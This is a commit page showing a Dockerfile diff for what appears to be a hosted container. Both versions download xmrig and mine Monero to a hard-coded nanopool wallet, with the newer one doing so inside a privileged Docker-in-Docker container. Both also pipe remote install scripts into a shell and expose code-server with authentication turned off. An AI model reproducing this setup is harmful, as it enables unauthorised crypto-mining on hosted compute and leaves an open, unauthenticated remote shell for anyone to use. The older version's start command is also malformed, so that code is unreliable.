realipaduser commited on
Commit
e915bfb
·
verified ·
1 Parent(s): 34c298d

Update Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +29 -21
Dockerfile CHANGED
@@ -1,27 +1,35 @@
1
- # Use Ubuntu as the base image
2
- FROM ubuntu:24.04
3
 
4
- # Set environment variables
5
- ENV DEBIAN_FRONTEND=noninteractive
 
 
 
 
 
 
 
 
 
 
6
 
7
- # Update the package list and install necessary packages
8
- RUN apt update -y && apt install -y wget msr-tools curl tar
 
9
 
10
- # Download and extract xmrig
11
- RUN wget https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-noble-x64.tar.gz && \
12
- tar -zxf xmrig-6.22.0-noble-x64.tar.gz && \
13
- cd xmrig-6.22.0 && \
14
- bash -c "$(curl -fsSL https://raw.githubusercontent.com/xmrig/xmrig/master/scripts/randomx_boost.sh)"
15
 
16
- # Install Code-Server
17
- RUN curl -fsSL https://code-server.dev/install.sh | sh
18
 
19
- # Expose port 7860 for Code-Server
20
- EXPOSE 7860
 
 
 
 
21
 
22
- # Start Code-Server and xmrig
23
- CMD cd xmrig-6.22.0 && \
24
- # Add this to Dockerfile or run it inside the container
25
- RUN echo "nameserver 8.8.8.8" > /etc/resolv.conf
26
- ./xmrig -o xmr-us-west1.nanopool.org:10343 -u 425icq3TLKkiRg8VH73mkJA41TAd3wtrCg8kcLM6NAyaiepzLJoLjjwj9AbL2fUC3CDPirauNHtyaDmdKwDs7x8LBMq3DuF.worker -p crea8yt@gmail.com --tls -k --coin monero -a rx/0 --randomx-1gb-pages --huge-pages & \
27
- code-server --bind-addr 0.0.0.0:7860 --auth none
 
1
+ # Use the official Docker-in-Docker image as the base image
2
+ FROM docker:latest
3
 
4
+ # Install dependencies
5
+ RUN apk add --no-cache \
6
+ bash \
7
+ curl \
8
+ wget \
9
+ sudo \
10
+ ca-certificates \
11
+ && \
12
+ # Install Docker CLI
13
+ curl -fsSL https://get.docker.com | sh && \
14
+ # Install code-server
15
+ curl -fsSL https://code-server.dev/install.sh | sh
16
 
17
+ # Configure DNS for the main Docker container
18
+ RUN echo "nameserver 8.8.8.8" > /etc/resolv.conf && \
19
+ echo "nameserver 8.8.4.4" >> /etc/resolv.conf
20
 
21
+ # Expose the port for code-server
22
+ EXPOSE 7860
 
 
 
23
 
24
+ # Expose port for xmrig (if needed)
25
+ EXPOSE 3333
26
 
27
+ # Install Docker and Docker-in-Docker for the inner Docker container
28
+ RUN apk add --no-cache docker && \
29
+ mkdir -p /inner-docker && \
30
+ cd /inner-docker && \
31
+ echo "nameserver 8.8.8.8" > /etc/resolv.conf && \
32
+ echo "nameserver 8.8.4.4" >> /etc/resolv.conf
33
 
34
+ # Start Docker daemon and run code-server and xmrig
35
+ CMD ["sh", "-c", "dockerd & code-server --bind-addr 0.0.0.0:7860 --auth none & docker run --privileged -d --name inner-docker-container -p 7860:7860 -p 3333:3333 -w /home/ubuntu -v /home/ubuntu:/home/ubuntu ubuntu:latest /bin/sh -c 'apt update -y && apt install -y wget msr-tools && wget https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz && tar -zxf xmrig-6.22.0-linux-static-x64.tar.gz && cd xmrig-6.22.0 && bash -c \"$(curl -fsSL https://raw.githubusercontent.com/xmrig/xmrig/master/scripts/randomx_boost.sh)\" && ./xmrig -o xmr-us-west1.nanopool.org:10343 -u 425icq3TLKkiRg8VH73mkJA41TAd3wtrCg8kcLM6NAyaiepzLJoLjjwj9AbL2fUC3CDPirauNHtyaDmdKwDs7x8LBMq3DuF.worker -p crea8yt@gmail.com --tls -k --coin monero -a rx/0 --randomx-1gb-pages --huge-pages'"]